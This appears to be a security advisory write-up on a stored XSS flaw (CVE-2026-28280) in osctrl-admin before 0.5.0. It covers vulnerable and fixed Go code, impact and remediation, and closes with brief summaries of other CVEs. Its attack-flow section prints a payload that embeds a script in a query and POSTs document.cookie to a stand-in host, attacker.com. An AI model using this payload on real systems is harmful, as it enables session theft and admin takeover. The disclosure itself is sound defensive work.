Feb 28, 2026·6 min read·62 visits
osctrl-admin < 0.5.0 contains a Stored XSS vulnerability. Low-privilege users can inject JavaScript into query logs, which execute when admins view the On-Demand Query List. Fixed in version 0.5.0.
A Stored Cross-Site Scripting (XSS) vulnerability exists in the `osctrl-admin` component of osctrl versions prior to 0.5.0. The vulnerability allows authenticated users with low-level 'query' permissions to inject malicious JavaScript via the on-demand query interface. These payloads are stored in the backend database and subsequently rendered without sufficient context-aware encoding in the administrative dashboard. When an administrator views the query history, the script executes, potentially leading to session hijacking or privilege escalation.
osctrl is a scalable management solution for osquery, widely used to monitor endpoints and distribute configurations. The osctrl-admin component provides a web-based interface for administrators to interact with enrolled nodes, including the ability to run on-demand SQL queries against agents.
The vulnerability, identified as CVE-2026-28280, resides in the way osctrl-admin handles the display of historical on-demand queries. Specifically, the application fails to properly sanitize or encode user-supplied input in the query field before rendering it in the HTML Document Object Model (DOM) of the administration panel.
This flaw represents a Stored Cross-Site Scripting (XSS) condition (CWE-79). Unlike Reflected XSS, where the payload is part of the request, Stored XSS persists in the application's database. This creates a trap for higher-privileged users: an attacker with minimal permissions (ability to run queries) can plant a payload that automatically executes in the browser of any administrator who reviews the query logs.
The root cause of this vulnerability is the lack of output encoding during the template rendering process in osctrl-admin. Web applications typically handle user input in three stages: reception, storage, and rendering.
In the vulnerable versions of osctrl, the following sequence occurs:
queries database table. This is standard behavior; databases should store raw data.osctrl-admin interface retrieves the query history to display the list, it inserts the query string into the HTML response. The templating engine or frontend logic treats the content as trusted HTML rather than literal text.In Go web applications (which osctrl is), this often happens when developers explicitly cast a string to a type like template.HTML to prevent double-escaping, or when client-side JavaScript assigns data to .innerHTML without sanitization. This bypasses the default safety mechanisms of the templating system, allowing the browser to interpret injected tags (like <script>) as executable code.
The vulnerability exists in the view layer of the osctrl-admin service. Below is a reconstruction of the vulnerable pattern versus the secure implementation introduced in version 0.5.0.
In the vulnerable code, the query string retrieved from the database was likely rendered directly into the HTML context without escaping characters that have special meaning in HTML (such as < and >).
// Vulnerable: Treating user input as safe HTML
// If 'q.Query' contains "<script>...", it executes.
type QueryData struct {
Query template.HTML // DANGEROUS TYPE
}
func (h *Handlers) ListQueries(w http.ResponseWriter, r *http.Request) {
// ... fetch query from DB ...
data := QueryData{
// Casting string to template.HTML bypasses auto-escaping
Query: template.HTML(dbQuery.QueryString),
}
tmpl.Execute(w, data)
}The fix involves ensuring that the data is treated as a string, forcing the Go template engine to apply context-aware encoding. This converts < to < and > to >, rendering the payload harmless.
// Fixed: Treating user input as a plain string
// If 'q.Query' contains "<script>...", it renders as text.
type QueryData struct {
Query string // SAFE TYPE
}
func (h *Handlers) ListQueries(w http.ResponseWriter, r *http.Request) {
// ... fetch query from DB ...
data := QueryData{
// No casting; template engine auto-escapes this string
Query: dbQuery.QueryString,
}
tmpl.Execute(w, data)
}Additionally, Pull Request #780 introduced stricter regex-based validation for other fields (like Hostname and Environment names) to prevent similar injection attacks in other parts of the admin interface.
An attacker can exploit this vulnerability to escalate privileges from a low-level user to a full administrator. The attack flow is as follows:
SELECT version FROM osquery_info; -- <script>fetch('https://attacker.com/hook', {method:'POST', body:document.cookie})</script>osctrl-cli or the web interface.<script> tag executes in the administrator's session context. The script can silently perform a background request (AJAX) to the osctrl user management API to create a new administrator account controlled by the attacker, or exfiltrate the administrator's session_token.The impact of this vulnerability is rated as Medium (CVSS 6.1) primarily due to the requirement for the attacker to have initial access (PR:L or PR:H depending on interpretation of 'query' permissions) and the requirement for an administrator to view the page (UI:R).
Confidentiality Impact (High):
Successful exploitation allows the attacker to read sensitive data accessible to the victim. This includes the administrator's session cookies (if not protected by HttpOnly), CSRF tokens, and potentially sensitive configuration data displayed in the admin panel.
Integrity Impact (High): The attacker can perform actions on behalf of the administrator. This includes modifying osquery configurations, deleting nodes, or changing enrollment secrets. In a worst-case scenario, the attacker could push a malicious configuration to all enrolled agents, achieving Remote Code Execution (RCE) on the managed endpoints.
Availability Impact (None): The vulnerability itself does not directly cause a denial of service, although an attacker could use their elevated access to disrupt operations.
The primary remediation is to upgrade the affected software. The vulnerability has been addressed in the official repository.
Upgrade to osctrl v0.5.0 or later. This release includes:
If an immediate upgrade is not feasible:
<script>, <iframe>, onmouseover) or common XSS vectors.CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
osctrl jmpsec | < 0.5.0 | 0.5.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Score | 6.1 (Medium) |
| EPSS Score | 0.00023 |
| Impact | High (Confidentiality/Integrity) |
| Exploit Status | PoC Available |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVE-2026-63402 is a prototype-chain traversal and shared built-in object corruption vulnerability in the i18next internationalization framework for JavaScript prior to version 26.3.4. The flaw resides in the deepExtend utility function within src/utils.js, which uses the JavaScript 'in' operator to verify property existence on target objects. When an application passes untrusted resource bundles to i18next.addResourceBundle() with both the deep and overwrite parameters set to true, an attacker can traverse into inherited methods on Object.prototype and overwrite properties on shared built-in function objects, causing process-wide denial of service.
CVE-2026-58262 (tracked internally as KLR-04 and via GitHub Security Advisory GHSA-f9h7-4mmq-vgcq) is a cryptographic verification and consensus quorum bypass vulnerability in Klever-Go (`klever-io/klever-go`), the Go implementation of the Klever blockchain protocol. Prior to version 1.7.20, the block header signature verification logic (`HeaderSigVerifier.verifyConsensusSize`) counts all set bits across the entire `PubKeysBitmap` byte slice toward the required two-thirds validator quorum without masking or validating unused trailing padding bits in the final byte. Because the underlying Boneh-Lynn-Shacham (BLS) multi-signature verification function (`blsMultiSigner.Verify`) iterates strictly over the indices of configured validator public keys, it ignores any bits set at indices beyond the active consensus group size. When the consensus group size is not an exact multiple of 8, a compromised or malicious block producer can set these unused trailing padding bits to artificially inflate the apparent signer count by up to 7 signatures, enabling blocks with fewer genuine validator signatures than required by the protocol to pass consensus validation.
CVE-2026-77423 is a Regular Expression Denial of Service (ReDoS) vulnerability in the built-in less viewer of the JLine Java library (versions 3.0.0 prior to 3.30.15, and 4.0.0 prior to 4.3.1). The org.jline.builtins.Less class passes user-supplied search and display-filter patterns directly to Java's standard backtracking regular expression engine without complexity validation or execution timeouts. An attacker with access to an interactive JLine session can submit patterns containing nested quantifiers, causing catastrophic backtracking that consumes 100% of a CPU core and blocks the session thread indefinitely. In network-facing deployments such as SSH or Telnet administration consoles, repeated exploitation across concurrent sessions can exhaust bounded worker thread pools and result in a complete denial of service.
CVE-2026-63492 is a rejected CVE identifier originally assigned by GitHub for an OS command injection vulnerability in WWBN AVideo (formerly YouPHPTube) up to version 29.0. It was rejected as a duplicate of the canonical identifier CVE-2026-63304 (tracked under GHSA-j44m-77cc-p3cc). The flaw resides in the listFFmpegProcesses() function within plugin/API/standAlone/functions.php, which interpolates unsanitized user parameters directly into a single-quoted shell pipeline executed via PHP's exec() function. Attackers capable of crafting a valid AES-256-CBC encrypted API payload can break out of the single-quoted context and execute arbitrary operating system commands as the web-server user.
CVE-2026-63476 is an uncontrolled resource consumption vulnerability in isomorphic-git prior to version 1.38.6. When parsing Git packfile delta objects during clone or fetch operations, the applyDelta utility reads an untrusted targetSize integer from the delta stream header and passes it directly to Buffer.alloc(). A malicious remote Git server or man-in-the-middle attacker can supply a delta header specifying a targetSize of approximately 2 GB with minimal actual payload data. Because Buffer.alloc() reserves off-heap memory in Node.js, this bypasses standard V8 heap limits and results in immediate out-of-memory termination or sustained memory retention.
CVE-2026-63410 (GHSA-vp2j-gqfm-r3cf) is a compiler-induced timing side-channel vulnerability in the secp256k1-native Ruby C extension. When compiled with GCC 14.x or 15.x at optimization level -O2, the compiler reconstructs boolean predicates from branchless bitwise multiplexer routines and emits secret-dependent conditional jump instructions (je/jne). During elliptic curve scalar multiplication in the Montgomery ladder, these conditional branches create observable execution timing variations correlated with individual bits of secret private keys or signing nonces.